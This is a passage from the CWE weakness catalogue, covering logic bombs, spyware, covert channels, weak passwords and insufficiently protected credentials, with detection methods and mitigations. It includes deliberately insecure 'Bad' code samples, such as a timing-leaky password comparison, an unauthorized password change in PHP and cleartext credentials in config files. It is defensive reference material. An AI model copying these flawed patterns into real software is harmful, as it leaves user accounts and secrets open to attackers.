According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Context-configured Source Code Weakness Analyzer

Effectiveness = SOAR Partial

Architecture or Design Review

According to SOAR, the following detection techniques may be useful: Highly cost effective: Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.) Cost effective for partial coverage: Formal Methods / Correct-By-Construction

Effectiveness = High

Potential Mitigations

Phase: Installation

Always verify the integrity of the software that is being installed.

Phase: Testing

Identify and closely inspect the conditions for entering privileged areas of the code, especially those related to authentication, process invocation, and network communications.

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	904	SFP Primary Cluster: Malware	888	2408
MemberOf	C	1412	Comprehensive Categorization: Poor Coding Practices	1400	2559

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
Landwehr			Trapdoor

References

[REF-1431]Carl E. Landwehr, Alan R. Bull, John P. McDermott and William S. Choi. "A Taxonomy of Computer Program Security Flaws, with Examples". 1993 November 9. < https://cwe.mitre.org/documents/sources/ATaxonomyofComputerProgramSecurityFlawswithExamples%5BLandwehr93%5D.pdf >.2024-11-17.

CWE-511: Logic/Time Bomb

Weakness ID : 511
Structure : Simple
Abstraction : Base

Description

The product contains code that is designed to disrupt the legitimate operation of the product (or its environment) when a certain time passes, or when a certain logical condition is met.

Extended Description

When the time bomb or logic bomb is detonated, it may perform a denial of service such as crashing the system, deleting critical data, or degrading system response time. This bomb might be placed within either a replicating or non-replicating Trojan horse.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	C	506	Embedded Malicious Code	1218

Applicable Platforms

Language : Not Language-Specific *(Prevalence = Undetermined)*

Technology : Mobile *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Other Integrity	Varies by Context Alter Execution Logic	

Potential Mitigations

Phase: Installation

Always verify the integrity of the product that is being installed.

Phase: Testing

Conduct a code coverage analysis using live testing, then closely inspect any code that is not covered.

Demonstrative Examples

Example 1:

Typical examples of triggers include system date or time mechanisms, random number generators, and counters that wait for an opportunity to launch their payload. When triggered, a time-bomb may deny service by crashing the system, deleting files, or degrading system response-time.

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	904	SFP Primary Cluster: Malware	888	2408
MemberOf	C	1412	Comprehensive Categorization: Poor Coding Practices	1400	2559

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
Landwehr			Logic/Time Bomb

References

[REF-172]Chris Wysopal. "Mobile App Top 10 List". 2010 December 3. < https://www.veracode.com/blog/2010/12/mobile-app-top-10-list >.2023-04-07.

[REF-1431]Carl E. Landwehr, Alan R. Bull, John P. McDermott and William S. Choi. "A Taxonomy of Computer Program Security Flaws, with Examples". 1993 November 9. < https://cwe.mitre.org/documents/sources/ATaxonomyofComputerProgramSecurityFlawswithExamples%5BLandwehr93%5D.pdf >.2024-11-17.

CWE-512: Spyware

Weakness ID : 512
Structure : Simple
Abstraction : Base

Description

The product collects personally identifiable information about a human user or the user's activities, but the product accesses this information using other resources besides itself, and it does not require that user's explicit approval or direct input into the product.

Extended Description

"Spyware" is a commonly used term with many definitions and interpretations. In general, it is meant to refer to products that collect information or install functionality that human users might not allow if they were fully aware of the actions being taken by the software. For example, a user might expect that tax software would collect a social security number and include it when filing a tax return, but that same user would not expect gaming software to obtain the social security number from that tax software's data.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	C	506	Embedded Malicious Code	1218

Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Application Data	

Potential Mitigations

Phase: Operation

Use spyware detection and removal software.

Phase: Installation

Always verify the integrity of the product that is being installed.

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	904	SFP Primary Cluster: Malware	888	2408
MemberOf	C	1412	Comprehensive Categorization: Poor Coding Practices	1400	2559

CWE-514: Covert Channel

Weakness ID : 514
Structure : Simple
Abstraction : Class

Description

A covert channel is a path that can be used to transfer information in a way not intended by the system's designers.

Extended Description

Typically the system has not given authorization for the transmission and has no knowledge of its occurrence.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	C	1229	Creation of Emergent Resource	2016
ParentOf	B	385	Covert Timing Channel	947
ParentOf	B	515	Covert Storage Channel	1229
CanFollow	B	205	Observable Behavioral Discrepancy	533

Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Application Data	
Access Control	Bypass Protection Mechanism	

Detection Methods

Architecture or Design Review

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)

Effectiveness = SOAR Partial

Demonstrative Examples

Example 1:

In this example, the attacker observes how long an authentication takes when the user types in the correct password.

When the attacker tries their own values, they can first try strings of various length. When they find a string of the right length, the computation will take a bit longer, because the for loop will run at least once. Additionally, with this code, the attacker can possibly learn one character of the password at a time, because when they guess the first character right, the computation will take longer than a wrong guesses. Such an attack can break even the most sophisticated password with a few hundred guesses.

Example Language: Python *(Bad)*

```
def validate_password(actual_pw, typed_pw):
  if len(actual_pw) <> len(typed_pw):
    return 0
  for i in len(actual_pw):
    if actual_pw[i] <> typed_pw[i]:
      return 0
  return 1
```

Note that in this example, the actual password must be handled in constant time as far as the attacker is concerned, even if the actual password is of an unusual length. This is one reason why it is good to use an algorithm that, among other things, stores a seeded cryptographic one-way hash of the password, then compare the hashes, which will always be of the same length.

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	968	SFP Secondary Cluster: Covert Channel	888	2425
MemberOf	C	1415	Comprehensive Categorization: Resource Control	1400	2565

Notes

Theoretical

A covert channel can be thought of as an emergent resource, meaning that it was not an originally intended resource, however it exists due the application's behaviors.

Maintenance

As of CWE 4.9, members of the CWE Hardware SIG are working to improve CWE's coverage of transient execution weaknesses, which include issues related to Spectre, Meltdown, and other attacks that create or exploit covert channels. As a result of that work, this entry might change in CWE 4.10.

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
Landwehr			Covert Channel

Related Attack Patterns

CAPEC-ID	Attack Pattern Name
463	Padding Oracle Crypto Attack

References

[REF-1431]Carl E. Landwehr, Alan R. Bull, John P. McDermott and William S. Choi. "A Taxonomy of Computer Program Security Flaws, with Examples". 1993 November 9. < https://cwe.mitre.org/documents/sources/ATaxonomyofComputerProgramSecurityFlawswithExamples%5BLandwehr93%5D.pdf >.2024-11-17.

CWE-515: Covert Storage Channel

Weakness ID : 515
Structure : Simple
Abstraction : Base

Description

A covert storage channel transfers information through the setting of bits by one program and the reading of those bits by another. What distinguishes this case from that of ordinary operation is that the bits are used to convey encoded information.

Extended Description

Covert storage channels occur when out-of-band data is stored in messages for the purpose of memory reuse. Covert channels are frequently classified as either storage or timing channels. Examples would include using a file intended to hold only audit information to convey user passwords--using the name of a file or perhaps status bits associated with it that can be read by all users to signal the contents of the file. Steganography, concealing information in such a manner that no one but the intended recipient knows of the existence of the message, is a good example of a covert storage channel.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	C	514	Covert Channel	1227

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	417	Communication Channel Errors	2347

Likelihood Of Exploit

High

Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Application Data *Covert storage channels may provide attackers with important information about the system in question.*	
Integrity Confidentiality	Read Application Data *If these messages or packets are sent with unnecessary data contained within, it may tip off malicious listeners*	

Scope	Impact	Likelihood
	as to the process that created the message. With this information, attackers may learn any number of things, including the hardware platform, operating system, or algorithms used by the sender. This information can be of significant value to the user in launching further attacks.	

Potential Mitigations

Phase: Implementation

Ensure that all reserved fields are set to zero before messages are sent and that no unnecessary information is included.

Demonstrative Examples

Example 1:

An excellent example of covert storage channels in a well known application is the ICMP error message echoing functionality. Due to ambiguities in the ICMP RFC, many IP implementations use the memory within the packet for storage or calculation. For this reason, certain fields of certain packets -- such as ICMP error packets which echo back parts of received messages -- may contain flaws or extra information which betrays information about the identity of the target operating system. This information is then used to build up evidence to decide the environment of the target. This is the first crucial step in determining if a given system is vulnerable to a particular flaw and what changes must be made to malicious code to mount a successful attack.

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	968	SFP Secondary Cluster: Covert Channel	888	2425
MemberOf	C	1415	Comprehensive Categorization: Resource Control	1400	2565

Notes

Maintenance

As of CWE 4.9, members of the CWE Hardware SIG are working to improve CWE's coverage of transient execution weaknesses, which include issues related to Spectre, Meltdown, and other attacks that create or exploit covert channels. As a result of that work, this entry might change in CWE 4.10.

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
Landwehr			Storage
CLASP			Covert storage channel

References

[REF-1431]Carl E. Landwehr, Alan R. Bull, John P. McDermott and William S. Choi. "A Taxonomy of Computer Program Security Flaws, with Examples". 1993 November 9. < https://cwe.mitre.org/documents/sources/ATaxonomyofComputerProgramSecurityFlawswithExamples%5BLandwehr93%5D.pdf >.2024-11-17.

CWE-520: .NET Misconfiguration: Use of Impersonation

Weakness ID : 520
Structure : Simple

Abstraction : Variant

Description

Allowing a .NET application to run at potentially escalated levels of access to the underlying operating and file systems can be dangerous and result in various forms of attacks.

Extended Description

.NET server applications can optionally execute using the identity of the user authenticated to the client. The intention of this functionality is to bypass authentication and access control checks within the .NET application code. Authentication is done by the underlying web server (Microsoft Internet Information Service IIS), which passes the authenticated token, or unauthenticated anonymous token, to the .NET application. Using the token to impersonate the client, the application then relies on the settings within the NTFS directories and files to control access. Impersonation enables the application, on the server running the .NET application, to both execute code and access resources in the context of the authenticated and authorized user.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	266	Incorrect Privilege Assignment	645

Common Consequences

Scope	Impact	Likelihood
Access Control	Gain Privileges or Assume Identity	

Potential Mitigations

Phase: Operation

Run the application with limited privilege to the underlying operating and file system.

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	731	OWASP Top Ten 2004 Category A10 - Insecure Configuration Management	711	2360
MemberOf	C	901	SFP Primary Cluster: Privilege	888	2407
MemberOf	C	1349	OWASP Top Ten 2021 Category A05:2021 - Security Misconfiguration	1344	2514
MemberOf	C	1396	Comprehensive Categorization: Access Control	1400	2540

CWE-521: Weak Password Requirements

Weakness ID : 521
Structure : Simple
Abstraction : Base

Description

The product does not require that users should have strong passwords, which makes it easier for attackers to compromise user accounts.

Extended Description

Authentication mechanisms often rely on a memorized secret (also known as a password) to provide an assertion of identity for a user of a system. It is therefore important that this password be of sufficient complexity and impractical for an adversary to guess. The specific requirements around how complex a password needs to be depends on the type of system being protected. Selecting the correct password requirements and enforcing them through implementation are critical to the overall success of the authentication mechanism.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	C	1391	Use of Weak Credentials	2281
ParentOf	V	258	Empty Password in Configuration File	628

Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)

Nature	Type	ID	Name	Page
ChildOf	C	287	Improper Authentication	699

Relevant to the view "Architectural Concepts" (CWE-1008)

Nature	Type	ID	Name	Page
MemberOf	C	1010	Authenticate Actors	2445

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	255	Credentials Management Errors	2336

Applicable Platforms

Language : Not Language-Specific *(Prevalence = Undetermined)*

Technology : Not Technology-Specific *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Access Control	Gain Privileges or Assume Identity *An attacker could easily guess user passwords and gain access user accounts.*	

Detection Methods

Automated Static Analysis

Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness = High

Potential Mitigations

Phase: Architecture and Design

A product's design should require adherance to an appropriate password policy. Specific password requirements depend strongly on contextual factors, but it is recommended to contain the following attributes: Enforcement of a minimum and maximum length Restrictions against password reuse Restrictions against using common passwords Restrictions against using contextual string in the password (e.g., user id, app name) Depending on the threat model, the password policy may include several additional attributes. Complex passwords requiring mixed character sets (alpha, numeric, special, mixed case) Increasing the range of characters makes the password harder to crack and may be appropriate for systems relying on single factor authentication. Unfortunately, a complex password may be difficult to memorize, encouraging a user to select a short password or to incorrectly manage the password (write it down). Another disadvantage of this approach is that it often does not result in a significant increases in overal password complexity due to people's predictable usage of various symbols. Large Minimum Length (encouraging passphrases instead of passwords) Increasing the number of characters makes the password harder to crack and may be appropriate for systems relying on single factor authentication. A disadvantage of this approach is that selecting a good passphrase is not easy and poor passwords can still be generated. Some prompting may be needed to encourage long un-predictable passwords. Randomly Chosen Secrets Generating a password for the user can help make sure that length and complexity requirements are met, and can result in secure passwords being used. A disadvantage of this approach is that the resulting password or passpharse may be too difficult to memorize, encouraging them to be written down. Password Expiration Requiring a periodic password change can reduce the time window that an adversary has to crack a password, while also limiting the damage caused by password exposures at other locations. Password expiration may be a good mitigating technique when long complex passwords are not desired. See NIST 800-63B [REF-1053] for further information on password requirements.

Phase: Architecture and Design

Consider a second authentication factor beyond the password, which prevents the password from being a single point of failure. See CWE-308 for further information.

Phase: Implementation

Consider implementing a password complexity meter to inform users when a chosen password meets the required attributes.

Observed Examples

Reference	Description
CVE-2020-4574	key server application does not require strong passwords *https://www.cve.org/CVERecord?id=CVE-2020-4574*

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	724	OWASP Top Ten 2004 Category A3 - Broken Authentication and Session Management	711	2356
MemberOf	V	884	CWE Cross-section	884	2588
MemberOf	C	951	SFP Secondary Cluster: Insecure Authentication Policy	888	2417
MemberOf	C	1353	OWASP Top Ten 2021 Category A07:2021 - Identification and Authentication Failures	1344	2515
MemberOf	C	1396	Comprehensive Categorization: Access Control	1400	2540

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
OWASP Top Ten 2004	A3	CWE More Specific	Broken Authentication and Session Management

Related Attack Patterns

CAPEC-ID	Attack Pattern Name
16	Dictionary-based Password Attack
49	Password Brute Forcing
55	Rainbow Table Password Cracking
70	Try Common or Default Usernames and Passwords
112	Brute Force
509	Kerberoasting
555	Remote Services with Stolen Credentials
561	Windows Admin Shares with Stolen Credentials
565	Password Spraying

References

[REF-44]Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". McGraw-Hill. 2010.

[REF-1053]NIST. "Digital Identity Guidelines (SP 800-63B)". 2017 June. < https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-63b.pdf >.2023-04-07.

CWE-522: Insufficiently Protected Credentials

Weakness ID : 522
Structure : Simple
Abstraction : Class

Description

The product transmits or stores authentication credentials, but it uses an insecure method that is susceptible to unauthorized interception and/or retrieval.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	C	668	Exposure of Resource to Wrong Sphere	1478
ChildOf	C	1390	Weak Authentication	2279
ParentOf	B	256	Plaintext Storage of a Password	622
ParentOf	B	257	Storing Passwords in a Recoverable Format	625
ParentOf	B	260	Password in Configuration File	636
ParentOf	B	261	Weak Encoding for Password	638
ParentOf	B	523	Unprotected Transport of Credentials	1239
ParentOf	B	549	Missing Password Field Masking	1271

Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)

Nature	Type	ID	Name	Page
ChildOf	C	287	Improper Authentication	699

Relevant to the view "Architectural Concepts" (CWE-1008)

Nature	Type	ID	Name	Page
MemberOf	C	1013	Encrypt Data	2449

Applicable Platforms

Language : Not Language-Specific *(Prevalence = Undetermined)*

Technology : ICS/OT *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Access Control	Gain Privileges or Assume Identity *An attacker could gain access to user accounts and access sensitive data used by the user accounts.*	

Detection Methods

Automated Static Analysis

Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness = High

Potential Mitigations

Phase: Architecture and Design

Use an appropriate security mechanism to protect the credentials.

Phase: Architecture and Design

Make appropriate use of cryptography to protect the credentials.

Phase: Implementation

Use industry standards to protect the credentials (e.g. LDAP, keystore, etc.).

Demonstrative Examples

Example 1:

This code changes a user's password.

Example Language: PHP *(Bad)*

```php
$user = $_GET['user'];
$pass = $_GET['pass'];
$checkpass = $_GET['checkpass'];
if ($pass == $checkpass) {
  SetUserPassword($user, $pass);
}
```

While the code confirms that the requesting user typed the same new password twice, it does not confirm that the user requesting the password change is the same user whose password will be changed. An attacker can request a change of another user's password and gain control of the victim's account.

Example 2:

The following code reads a password from a properties file and uses the password to connect to a database.

Example Language: Java *(Bad)*

```
...
Properties prop = new Properties();
prop.load(new FileInputStream("config.properties"));
String password = prop.getProperty("password");
DriverManager.getConnection(url, usr, password);
...
```

This code will run successfully, but anyone who has access to config.properties can read the value of password. If a devious employee has access to this information, they can use it to break into the system.

Example 3:

The following code reads a password from the registry and uses the password to create a new network credential.

Example Language: Java *(Bad)*

```
...
String password = regKey.GetValue(passKey).toString();
NetworkCredential netCred = new NetworkCredential(username,password,domain);
...
```

This code will run successfully, but anyone who has access to the registry key used to store the password can read the value of password. If a devious employee has access to this information, they can use it to break into the system

Example 4:

Both of these examples verify a password by comparing it to a stored compressed version.

Example Language: C *(Bad)*

```
int VerifyAdmin(char *password) {
  if (strcmp(compress(password), compressed_password)) {
    printf("Incorrect Password!\n");
    return(0);
  }
  printf("Entering Diagnostic Mode...\n");
  return(1);
}
```

Example Language: Java *(Bad)*

```
int VerifyAdmin(String password) {
  if (passwd.Equals(compress(password), compressed_password)) {
    return(0);
  }
  //Diagnostic Mode
  return(1);
}
```

Because a compression algorithm is used instead of a one way hashing algorithm, an attacker can recover compressed passwords stored in the database.

Example 5:

The following examples show a portion of properties and configuration files for Java and ASP.NET applications. The files include username and password information but they are stored in cleartext.

This Java example shows a properties file with a cleartext username / password pair.

Example Language: Java *(Bad)*

```
# Java Web App ResourceBundle properties file
...
webapp.ldap.username=secretUsername
webapp.ldap.password=secretPassword
...
```

The following example shows a portion of a configuration file for an ASP.Net application. This configuration file includes username and password information for a connection to a database but the pair is stored in cleartext.

Example Language: ASP.NET *(Bad)*

```
...
<connectionStrings>
  <add name="ud_DEV" connectionString="connectDB=uDB; uid=db2admin; pwd=password; dbalias=uDB;"
  providerName="System.Data.Odbc" />
</connectionStrings>
...
```

Username and password information should not be included in a configuration file or a properties file in cleartext as this will allow anyone who can read the file access to the resource. If possible, encrypt this information.

Example 6:

In 2022, the OT:ICEFALL study examined products by 10 different Operational Technology (OT) vendors. The researchers reported 56 vulnerabilities and said that the products were "insecure by design" [REF-1283]. If exploited, these vulnerabilities often allowed adversaries to change how the products operated, ranging from denial of service to changing the code that the products executed. Since these products were often used in industries such as power, electrical, water, and others, there could even be safety implications.

Multiple vendors used cleartext transmission or storage of passwords in their OT products.

Observed Examples

Reference	Description
CVE-2022-30018	A messaging platform serializes all elements of User/Group objects, making private information available to adversaries *https://www.cve.org/CVERecord?id=CVE-2022-30018*
CVE-2022-29959	Initialization file contains credentials that can be decoded using a "simple string transformation" *https://www.cve.org/CVERecord?id=CVE-2022-29959*
CVE-2022-35411	Python-based RPC framework enables pickle functionality by default, allowing clients to unpickle untrusted data. *https://www.cve.org/CVERecord?id=CVE-2022-35411*
CVE-2022-29519	Programmable Logic Controller (PLC) sends sensitive information in plaintext, including passwords and session tokens. *https://www.cve.org/CVERecord?id=CVE-2022-29519*
CVE-2022-30312	Building Controller uses a protocol that transmits authentication credentials in plaintext. *https://www.cve.org/CVERecord?id=CVE-2022-30312*
CVE-2022-31204	Programmable Logic Controller (PLC) sends password in plaintext. *https://www.cve.org/CVERecord?id=CVE-2022-31204*
CVE-2022-30275	Remote Terminal Unit (RTU) uses a driver that relies on a password stored in plaintext.

Reference	Description
	https://www.cve.org/CVERecord?id=CVE-2022-30275
CVE-2007-0681	Web app allows remote attackers to change the passwords of arbitrary users without providing the original password, and possibly perform other unauthorized actions. *https://www.cve.org/CVERecord?id=CVE-2007-0681*
CVE-2000-0944	Web application password change utility doesn't check the original password. *https://www.cve.org/CVERecord?id=CVE-2000-0944*
CVE-2005-3435	product authentication succeeds if user-provided MD5 hash matches the hash in its database; this can be subjected to replay attacks. *https://www.cve.org/CVERecord?id=CVE-2005-3435*
CVE-2005-0408	chain: product generates predictable MD5 hashes using a constant value combined with username, allowing authentication bypass. *https://www.cve.org/CVERecord?id=CVE-2005-0408*

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	718	OWASP Top Ten 2007 Category A7 - Broken Authentication and Session Management	629	2353
MemberOf	C	724	OWASP Top Ten 2004 Category A3 - Broken Authentication and Session Management	711	2356
MemberOf	V	884	CWE Cross-section	884	2588
MemberOf	C	930	OWASP Top Ten 2013 Category A2 - Broken Authentication and Session Management	928	2410
MemberOf	C	963	SFP Secondary Cluster: Exposed Data	888	2421
MemberOf	C	1028	OWASP Top Ten 2017 Category A2 - Broken Authentication	1026	2457
MemberOf	V	1337	Weaknesses in the 2021 CWE Top 25 Most Dangerous Software Weaknesses	1337	2610
MemberOf	C	1348	OWASP Top Ten 2021 Category A04:2021 - Insecure Design	1344	2512
MemberOf	V	1350	Weaknesses in the 2020 CWE Top 25 Most Dangerous Software Weaknesses	1350	2615
MemberOf	C	1396	Comprehensive Categorization: Access Control	1400	2540

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
OWASP Top Ten 2007	A7	CWE More Specific	Broken Authentication and Session Management
OWASP Top Ten 2004	A3	CWE More Specific	Broken Authentication and Session Management

Related Attack Patterns

CAPEC-ID	Attack Pattern Name
50	Password Recovery Exploitation
102	Session Sidejacking
474	Signature Spoofing by Key Theft
509	Kerberoasting
551	Modify Existing Service
555	Remote Services with Stolen Credentials
560	Use of Known Domain Credentials

CAPEC-ID	Attack Pattern Name
561	Windows Admin Shares with Stolen Credentials
600	Credential Stuffing
644	Use of Captured Hashes (Pass The Hash)
645	Use of Captured Tickets (Pass The Ticket)
652	Use of Known Kerberos Credentials
653	Use of Known Operating System Credentials

References

[REF-44]Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". McGraw-Hill. 2010.

[REF-1283]Forescout Vedere Labs. "OT:ICEFALL: The legacy of "insecure by design" and its implications for certifications and risk management". 2022 June 0. < https://www.forescout.com/resources/ot-icefall-report/ >.

CWE-523: Unprotected Transport of Credentials

Weakness ID : 523
Structure : Simple
Abstraction : Base

Description

Login pages do not use adequate measures to protect the user name and password while they are in transit from the client to the server.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	C	522	Insufficiently Protected Credentials	1234
CanAlsoBe	B	312	Cleartext Storage of Sensitive Information	771

Relevant to the view "Architectural Concepts" (CWE-1008)

Nature	Type	ID	Name	Page
MemberOf	C	1013	Encrypt Data	2449

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	255	Credentials Management Errors	2336

Background Details

SSL (Secure Socket Layer) provides data confidentiality and integrity to HTTP. By encrypting HTTP messages, SSL protects from attackers eavesdropping or altering message contents.

Common Consequences

Scope	Impact	Likelihood
Access Control	Gain Privileges or Assume Identity	

Detection Methods

Automated Static Analysis

Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness = High

Potential Mitigations

Phase: Operation

Phase: System Configuration

Enforce SSL use for the login page or any page used to transmit user credentials or other sensitive information. Even if the entire site does not use SSL, it MUST use SSL for login. Additionally, to help prevent phishing attacks, make sure that SSL serves the login page. SSL allows the user to verify the identity of the server to which they are connecting. If the SSL serves login page, the user can be certain they are talking to the proper end system. A phishing attack would typically redirect a user to a site that does not have a valid trusted server certificate issued from an authorized supplier.

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	930	OWASP Top Ten 2013 Category A2 - Broken Authentication and Session Management	928	2410
MemberOf	C	963	SFP Secondary Cluster: Exposed Data	888	2421
MemberOf	C	1028	OWASP Top Ten 2017 Category A2 - Broken Authentication	1026	2457
MemberOf	C	1346	OWASP Top Ten 2021 Category A02:2021 - Cryptographic Failures	1344	2509
MemberOf	C	1396	Comprehensive Categorization: Access Control	1400	2540

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
Software Fault Patterns	SFP23		Exposed Data

Related Attack Patterns

CAPEC-ID	Attack Pattern Name
102	Session Sidejacking

CWE-524: Use of Cache Containing Sensitive Information

Weakness ID : 524
Structure : Simple
Abstraction : Base

Description

The code uses a cache that contains sensitive information, but the cache can be read by an actor outside of the intended control sphere.

Extended Description

Applications may use caches to improve efficiency when communicating with remote entities or performing intensive calculations. A cache maintains a pool of objects, threads, connections, pages, financial data, passwords, or other resources to minimize the time it takes to initialize and access these resources. If the cache is accessible to unauthorized actors, attackers can read the cache and obtain this sensitive information.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	C	668	Exposure of Resource to Wrong Sphere	1478
ParentOf	V	525	Use of Web Browser Cache Containing Sensitive Information	1242

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	199	Information Management Errors	2333

Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Application Data	

Detection Methods

Automated Static Analysis

Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness = High

Potential Mitigations

Phase: Architecture and Design

Protect information stored in cache.

Phase: Architecture and Design

